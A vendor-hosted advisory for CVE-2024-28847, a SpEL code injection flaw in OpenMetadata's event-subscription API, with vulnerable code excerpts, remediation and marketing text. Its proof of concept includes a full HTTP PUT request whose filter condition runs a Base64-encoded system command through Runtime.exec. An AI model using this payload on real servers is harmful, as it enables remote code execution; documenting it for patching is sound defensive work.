CVE-2024-28847

CVE-2024-28847 is a high-severity code injection vulnerability in org.open-metadata:openmetadata-service (maven), affecting versions < 1.2.4. It is fixed in 1.2.4.

Summary

SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)

Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.

Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.

  @Override
  public void prepare(EventSubscription entity, boolean update) {
    validateFilterRules(entity);
  }

  private void validateFilterRules(EventSubscription entity) {
    // Resolve JSON blobs into Rule object and perform schema based validation
    if (entity.getFilteringRules() != null) {
      List<EventFilterRule> rules = entity.getFilteringRules().getRules();
      // Validate all the expressions in the rule
      for (EventFilterRule rule : rules) {
        AlertUtil.validateExpression(rule.getCondition(), Boolean.class);
      }
      rules.sort(Comparator.comparing(EventFilterRule::getName));
    }
  }

prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():

public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) {
  repository.prepareInternal(entity, true);

  // If entity does not exist, this is a create operation, else update operation
  ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName());
  MetadataOperation operation = createOrUpdateOperation(resourceContext);
  OperationContext operationContext = new OperationContext(entityType, operation);
  if (operation == CREATE) {
    CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity);
    authorizer.authorize(securityContext, operationContext, createResourceContext);
    entity = addHref(uriInfo, repository.create(uriInfo, entity));
    return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse();
  }
  authorizer.authorize(securityContext, operationContext, resourceContext);
  PutResponse<T> response = repository.createOrUpdate(uriInfo, entity);
  addHref(uriInfo, response.getEntity());
  return response.toResponse();
}

Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.

In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():

@PUT
@Operation(
    operationId = "createOrUpdateEventSubscription",
    summary = "Updated an existing or create a new Event Subscription",
    description = "Updated an existing or create a new Event Subscription",
    responses = {
      @ApiResponse(
          responseCode = "200",
          description = "create Event Subscription",
          content =
              @Content(
                  mediaType = "application/json",
                  schema = @Schema(implementation = CreateEventSubscription.class))),
      @ApiResponse(responseCode = "400", description = "Bad request")
    })
public Response createOrUpdateEventSubscription(
    @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) {
  // Only one Creation is allowed for Data Insight
  if (create.getAlertType() == CreateEventSubscription.AlertType.DATA_INSIGHT_REPORT) {
    try {
      repository.getByName(null, create.getName(), repository.getFields("id"));
    } catch (EntityNotFoundException ex) {
      if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) {
        throw new BadRequestException("Data Insight Report Alert already exists.");
      }
    }
  }
  EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName());
  Response response = createOrUpdate(uriInfo, securityContext, eventSub);
  repository.updateEventSubscription((EventSubscription) response.getEntity());
  return response;
}

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

  • Prepare the payload
    • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
    • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Send the payload using a valid JWT token:
PUT /api/v1/events/subscriptions HTTP/1.1
Host: localhost:8585
Authorization: Bearer <non-admin JWT>
accept: application/json
Connection: close
Content-Type: application/json
Content-Length: 353

{
"name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[
{"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true
}
  • Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-28847 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.2.4); upgrading removes the vulnerable code path.

Affected versions

org.open-metadata:openmetadata-service (< 1.2.4)

Security releases

org.open-metadata:openmetadata-service → 1.2.4 (maven)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.

Frequently Asked Questions

  1. What is CVE-2024-28847? CVE-2024-28847 is a high-severity code injection vulnerability in org.open-metadata:openmetadata-service (maven), affecting versions < 1.2.4. It is fixed in 1.2.4. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2024-28847? CVE-2024-28847 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of org.open-metadata:openmetadata-service are affected by CVE-2024-28847? org.open-metadata:openmetadata-service (maven) versions < 1.2.4 is affected.
  4. Is there a fix for CVE-2024-28847? Yes. CVE-2024-28847 is fixed in 1.2.4. Upgrade to this version or later.
  5. Is CVE-2024-28847 exploitable, and should I be worried? Whether CVE-2024-28847 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-28847 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-28847? Upgrade org.open-metadata:openmetadata-service to 1.2.4 or later.

Other vulnerabilities in org.open-metadata:openmetadata-service

CVE-2026-46481CVE-2024-28848CVE-2024-28847CVE-2024-28253

Stop the waste.
Protect your environment with Kodem.